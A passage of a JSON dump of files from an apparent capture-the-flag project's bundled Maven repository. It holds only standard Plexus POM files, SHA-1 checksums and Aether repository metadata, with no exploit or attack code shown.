    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus</artifactId>\n    <version>1.0.4</version>\n  </parent>\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus-containers</artifactId>\n  <packaging>pom</packaging>\n  <name>Parent Plexus Container POM</name>\n  <version>1.0.3</version>\n  <modules>\n    <module>plexus-container-artifact</module>\n    <module>plexus-container-default</module>\n  </modules>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.0.3/plexus-containers-1.0.3.pom.sha1",
    "content": "e16f1c9b83cdeb142fc038dd0262c61121d58c4b  /home/projects/maven/repository-staging/to-ibiblio/maven2/org/codehaus/plexus/plexus-containers/1.0.3/plexus-containers-1.0.3.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.5.5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:57 CST 2018\nplexus-containers-1.5.5.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.5.5/plexus-containers-1.5.5.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus</artifactId>\n    <version>2.0.7</version>\n  </parent>\n\n  <artifactId>plexus-containers</artifactId>\n  <version>1.5.5</version>\n  <packaging>pom</packaging>\n\n  <name>Plexus Containers</name>\n  <description>\n    Plexus IoC Container core with companion tools.\n  </description>\n\n  <modules>\n    <module>plexus-component-annotations</module>\n    <module>plexus-component-metadata</module>\n    <module>plexus-component-javadoc</module>\n    <module>plexus-container-default</module>\n  </modules>\n\n  <scm>\n    <connection>scm:svn:https://svn.codehaus.org/plexus/plexus-containers/tags/plexus-containers-1.5.5</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-containers/tags/plexus-containers-1.5.5</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-containers/tags/plexus-containers-1.5.5</url>\n  </scm>\n\n  <properties>\n    <classWorldsVersion>2.2.2</classWorldsVersion>\n    <plexusUtilsVersion>1.4.5</plexusUtilsVersion>\n    <xbeanReflectVersion>3.4</xbeanReflectVersion>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n  </properties>\n\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-container-default</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-annotations</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-metadata</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-classworlds</artifactId>\n        <version>${classWorldsVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>${plexusUtilsVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.xbean</groupId>\n        <artifactId>xbean-reflect</artifactId>\n        <version>${xbeanReflectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>com.thoughtworks.qdox</groupId>\n        <artifactId>qdox</artifactId>\n        <version>1.9.2</version>\n      </dependency>\n      <dependency>\n        <groupId>jdom</groupId>\n        <artifactId>jdom</artifactId>\n        <version>1.0</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-plugin-api</artifactId>\n        <version>2.0.9</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-model</artifactId>\n        <version>2.0.9</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-project</artifactId>\n        <version>2.0.9</version>\n      </dependency>\n      <dependency>\n        <groupId>com.google.collections</groupId>\n        <artifactId>google-collections</artifactId>\n        <version>1.0</version>\n      </dependency>\n      <dependency>\n        <groupId>junit</groupId>\n        <artifactId>junit</artifactId>\n        <version>3.8.2</version>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>1.5</source>\n          <target>1.5</target>\n          <encoding>${project.build.sourceEncoding}</encoding>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.5.5/plexus-containers-1.5.5.pom.sha1",
    "content": "cd786b660f8a4c1c520403a5fa04c7be45212b84"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-digest/1.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:40 CST 2018\nplexus-digest-1.0.jar>central=\nplexus-digest-1.0.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-digest/1.0/plexus-digest-1.0.jar.sha1",
    "content": "5f6a5a5140cd39e8c987cf6c31429d917b31166e"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-digest/1.0/plexus-digest-1.0.pom",
    "content": "<?xml version=\"1.0\"?><project>\n  <parent>\n    <artifactId>plexus-components</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>1.1.7</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>plexus-digest</artifactId>\n  <name>Plexus Digest / Hashcode Components</name>\n  <version>1.0</version>\n  <scm>\n    <connection>scm:svn:https://svn.codehaus.org/plexus/tags/plexus-digest-1.0</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/tags/plexus-digest-1.0</developerConnection>\n    <url>https://svn.codehaus.org/plexus/tags/plexus-digest-1.0</url>\n  </scm>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-maven-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>descriptor</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n  <distributionManagement>\n    <status>deployed</status>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-digest/1.0/plexus-digest-1.0.pom.sha1",
    "content": "df5c2e55c9f30db34972661819437f1802128861"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-i18n/1.0-beta-7/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:08 CST 2018\nplexus-i18n-1.0-beta-7.jar>central=\nplexus-i18n-1.0-beta-7.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-i18n/1.0-beta-7/plexus-i18n-1.0-beta-7.jar.sha1",
    "content": "3690f10a668b3c7ac2ef563f14cfb6b2ba30ee57"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-i18n/1.0-beta-7/plexus-i18n-1.0-beta-7.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>plexus-components</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>1.1.12</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>plexus-i18n</artifactId>\n  <name>Plexus I18N Component</name>\n  <version>1.0-beta-7</version>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n      <version>1.4.1</version>\n    </dependency>\n  </dependencies>\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-i18n-1.0-beta-7</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-i18n-1.0-beta-7</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-i18n-1.0-beta-7</url>\n  </scm>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-i18n/1.0-beta-7/plexus-i18n-1.0-beta-7.pom.sha1",
    "content": "5080cbaf0a98e413017ed074c845673c16546500"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interactivity-api/1.0-alpha-4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:44 CST 2018\nplexus-interactivity-api-1.0-alpha-4.jar>central=\nplexus-interactivity-api-1.0-alpha-4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interactivity-api/1.0-alpha-4/plexus-interactivity-api-1.0-alpha-4.jar.sha1",
    "content": "0a8f1178664a5457eef3f4531eb62f9505e1295f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interactivity-api/1.0-alpha-4/plexus-interactivity-api-1.0-alpha-4.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus-interactivity-api</artifactId>\n  <name>Plexus Default Interactivity Handler</name>\n  <version>1.0-alpha-4</version>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <configuration>\n          <address>dev@plexus.codehaus.org</address>\n        </configuration>\n      </notifier>\n      <notifier>\n        <type>irc</type>\n        <configuration>\n          <port>6667</port>\n          <channel>#plexus</channel>\n          <host>irc.codehaus.org</host>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <inceptionYear>2001</inceptionYear>\n  <mailingLists>\n    <mailingList>\n      <name>Plexus Developer List</name>\n      <subscribe>http://lists.codehaus.org/mailman/listinfo/plexus-dev</subscribe>\n      <unsubscribe>http://lists.codehaus.org/mailman/listinfo/plexus-dev</unsubscribe>\n      <archive>http://lists.codehaus.org/pipermail/plexus-dev/</archive>\n    </mailingList>\n  </mailingLists>\n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@zenplex.com</email>\n      <organization>Zenplex</organization>\n      <roles>\n        <role>Developer</role>\n        <role>Release Manager</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kaz</id>\n      <name>Pete Kazmier</name>\n      <email></email>\n      <organization></organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtaylor</id>\n      <name>James Taylor</name>\n      <email>james@jamestaylor.org</email>\n      <organization></organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dandiep</id>\n      <name>Dan Diephouse</name>\n      <email>dan@envoisolutions.com</email>\n      <organization>Envoi solutions</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kasper</id>\n      <name>Kasper Nielsen</name>\n      <email>apache@kav.dk</email>\n      <organization></organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bwalding</id>\n      <name>Ben Walding</name>\n      <email>bwalding@codehaus.org</email>\n      <organization>Walding Consulting Services</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mhw</id>\n      <name>Mark Wilkinson</name>\n      <email>mhw@kremvax.net</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>michal</id>\n      <name>Michal Maczka</name>\n      <email>mmaczka@interia.pl</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>trygvis</id>\n      <name>Trygve Laugstol</name>\n      <email>trygvis@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kenney</id>\n      <name>Kenney Westerhof</name>\n      <email>kenney@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n  </developers>\n  <scm>\n    <connection>scm:svn:svn://svn.codehaus.org/plexus/scm/trunk/plexus-components/plexus-interactivity/plexus-interactivity-api</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/trunk/plexus-components/plexus-interactivity/plexus-interactivity-api</developerConnection>\n  </scm>\n  <organization>\n    <name>Codehaus</name>\n    <url>http://www.codehaus.org/</url>\n  </organization>\n  <build>\n    <sourceDirectory>src/main/java</sourceDirectory>\n    <scriptSourceDirectory>src/main/scripts</scriptSourceDirectory>\n    <testSourceDirectory>src/test/java</testSourceDirectory>\n    <outputDirectory>target/classes</outputDirectory>\n    <testOutputDirectory>target/test-classes</testOutputDirectory>\n    <resources>\n      <resource>\n        <directory>src/main/resources</directory>\n      </resource>\n    </resources>\n    <testResources>\n      <testResource>\n        <directory>src/test/resources</directory>\n      </testResource>\n    </testResources>\n    <directory>target</directory>\n    <plugins>\n      <plugin>\n        <artifactId>maven-release-plugin</artifactId>\n        <configuration>\n          <tagBase>https://svn.codehaus.org/plexus/tags</tagBase>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <repositories>\n    <repository>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n      <id>snapshots</id>\n      <name>Maven Snapshot Development Repository</name>\n      <url>http://snapshots.maven.codehaus.org/maven2</url>\n    </repository>\n    <repository>\n      <snapshots>\n        <enabled>false</enabled>\n      </snapshots>\n      <id>central</id>\n      <name>Maven Repository Switchboard</name>\n      <url>http://repo1.maven.org/maven2</url>\n    </repository>\n  </repositories>\n  <pluginRepositories>\n    <pluginRepository>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n      <id>snapshots-plugins</id>\n      <name>Maven Snapshot Plugins Development Repository</name>\n      <url>http://snapshots.maven.codehaus.org/maven2</url>\n    </pluginRepository>\n    <pluginRepository>\n      <snapshots>\n        <enabled>false</enabled>\n      </snapshots>\n      <id>central</id>\n      <name>Maven Plugin Repository</name>\n      <url>http://repo1.maven.org/maven2</url>\n    </pluginRepository>\n  </pluginRepositories>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n      <version>1.0-alpha-7</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>classworlds</groupId>\n      <artifactId>classworlds</artifactId>\n      <version>1.1-alpha-2</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n      <version>1.0.2</version>\n      <scope>compile</scope>\n    </dependency>\n  </dependencies>\n  <reporting>\n    <outputDirectory>target/site</outputDirectory>\n  </reporting>\n  <distributionManagement>\n    <repository>\n      <id>repo1</id>\n      <name>Maven Central Repository</name>\n      <url>scp://repo1.maven.org/home/projects/maven/repository-staging/to-ibiblio/maven2</url>\n    </repository>\n    <snapshotRepository>\n      <id>snapshots</id>\n      <name>Maven Central Development Repository</name>\n      <url>scp://repo1.maven.org/home/projects/maven/repository-staging/snapshots/maven2</url>\n    </snapshotRepository>\n    <status>deployed</status>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interactivity-api/1.0-alpha-4/plexus-interactivity-api-1.0-alpha-4.pom.sha1",
    "content": "1376ffcc4a8d46dee6c1a9096d0dcad3be01f838  /home/projects/maven/repository-staging/to-ibiblio/maven2/org/codehaus/plexus/plexus-interactivity-api/1.0-alpha-4/plexus-interactivity-api-1.0-alpha-4.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.11/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:18 CST 2018\nplexus-interpolation-1.11.jar>central=\nplexus-interpolation-1.11.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.11/plexus-interpolation-1.11.jar.sha1",
    "content": "ad9dddff6043194904ad1d2c00ff1d003c3915f7"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.11/plexus-interpolation-1.11.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus-components</artifactId>\n    <version>1.1.14</version>\n  </parent>\n\n  <artifactId>plexus-interpolation</artifactId>\n  <version>1.11</version>\n\n  <name>Plexus Interpolation API</name>\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-interpolation-1.11</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-interpolation-1.11</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-interpolation-1.11</url>\n  </scm>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.11/plexus-interpolation-1.11.pom.sha1",
    "content": "f03da80999422b6cc4300735789be83e4498a3bc"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.12/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:38 CST 2018\nplexus-interpolation-1.12.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.12/plexus-interpolation-1.12.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus-components</artifactId>\n    <version>1.1.14</version>\n  </parent>\n\n  <artifactId>plexus-interpolation</artifactId>\n  <version>1.12</version>\n\n  <name>Plexus Interpolation API</name>\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-interpolation-1.12</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-interpolation-1.12</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-interpolation-1.12</url>\n  </scm>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.12/plexus-interpolation-1.12.pom.sha1",
    "content": "101dd833f7186103b61a0281da38c95ae440eb63"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.13/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:44 CST 2018\nplexus-interpolation-1.13.pom>central=\nplexus-interpolation-1.13.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.13/plexus-interpolation-1.13.jar.sha1",
    "content": "1740038076cec1946fd28ed5ac5c1688f7cf7630"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.13/plexus-interpolation-1.13.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus-components</artifactId>\n    <version>1.1.15</version>\n  </parent>\n\n  <artifactId>plexus-interpolation</artifactId>\n  <version>1.13</version>\n\n  <name>Plexus Interpolation API</name>\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-interpolation-1.13</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-interpolation-1.13</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-interpolation-1.13</url>\n  </scm>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.13/plexus-interpolation-1.13.pom.sha1",
    "content": "5003aac564f8ab42ceede81b114c520b48271873"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.14/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nplexus-interpolation-1.14.jar>central=\nplexus-interpolation-1.14.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.14/plexus-interpolation-1.14.jar.sha1",
    "content": "c88dd864fe8b8256c25558ce7cd63be66ba07693"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.14/plexus-interpolation-1.14.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus-components</artifactId>\n    <version>1.1.18</version>\n  </parent>\n\n  <artifactId>plexus-interpolation</artifactId>\n  <version>1.14</version>\n\n  <name>Plexus Interpolation API</name>\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-interpolation-1.14</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-interpolation-1.14</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-interpolation-1.14</url>\n  </scm>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.14/plexus-interpolation-1.14.pom.sha1",
    "content": "e296d45aff17c16ed268c5b9480214a0d92937ab"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.15/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:20 CST 2018\nplexus-interpolation-1.15.jar>central=\nplexus-interpolation-1.15.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.15/plexus-interpolation-1.15.jar.sha1",
    "content": "d682b4b8c1a92329d5b114a51794ef178168abbe"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.15/plexus-interpolation-1.15.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus</artifactId>\n    <version>3.0.1</version>\n  </parent>\n\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus-interpolation</artifactId>\n  <version>1.15</version>\n\n  <name>Plexus Interpolation API</name>\n\n  <scm>\n    <connection>scm:git:git@github.com:sonatype/plexus-interpolation.git</connection>\n    <developerConnection>scm:git:git@github.com:sonatype/plexus-interpolation.git</developerConnection>\n    <url>http://github.com/sonatype/plexus-interpolation</url>\n  </scm>\n  \n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n      \n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.15/plexus-interpolation-1.15.pom.sha1",
    "content": "3dda3be2ada841f5ca3976a48281349a99f27e89"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:05 CST 2018\nplexus-interpolation-1.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.6/plexus-interpolation-1.6.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus</artifactId>\n    <version>1.0.11</version>\n  </parent>\n  \n  <artifactId>plexus-interpolation</artifactId>\n  <version>1.6</version>\n  \n  <name>Plexus Interpolation API</name>\n  \n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-interpolation-1.6</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-interpolation-1.6</developerConnection>\n    <url>http://svn.codehaus.org/plexus/plexus-components/tags/plexus-interpolation-1.6</url>\n  </scm>\n  \n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  \n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-6</version>\n          <configuration>\n            <tagBase>https://svn.codehaus.org/plexus/plexus-components/tags</tagBase>\n            <useReleaseProfile>true</useReleaseProfile>\n            <arguments>-Prelease</arguments>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n  \n  <distributionManagement>\n    <site>\n      <id>codehaus.org</id>\n      <url>dav:https://dav.codehaus.org/plexus/plexus-components/plexus-interpolation</url>\n    </site>\n  </distributionManagement>\n  \n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>2.4</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <version>2.0.4</version>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.4</version>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>      \n      </build>\n    </profile>\n  </profiles>  \n  \n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-interpolation/1.6/plexus-interpolation-1.6.pom.sha1",
    "content": "849b6ca6d5694099fead0cd025df25ec813a4398"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-io/1.0/_remote.repositories",
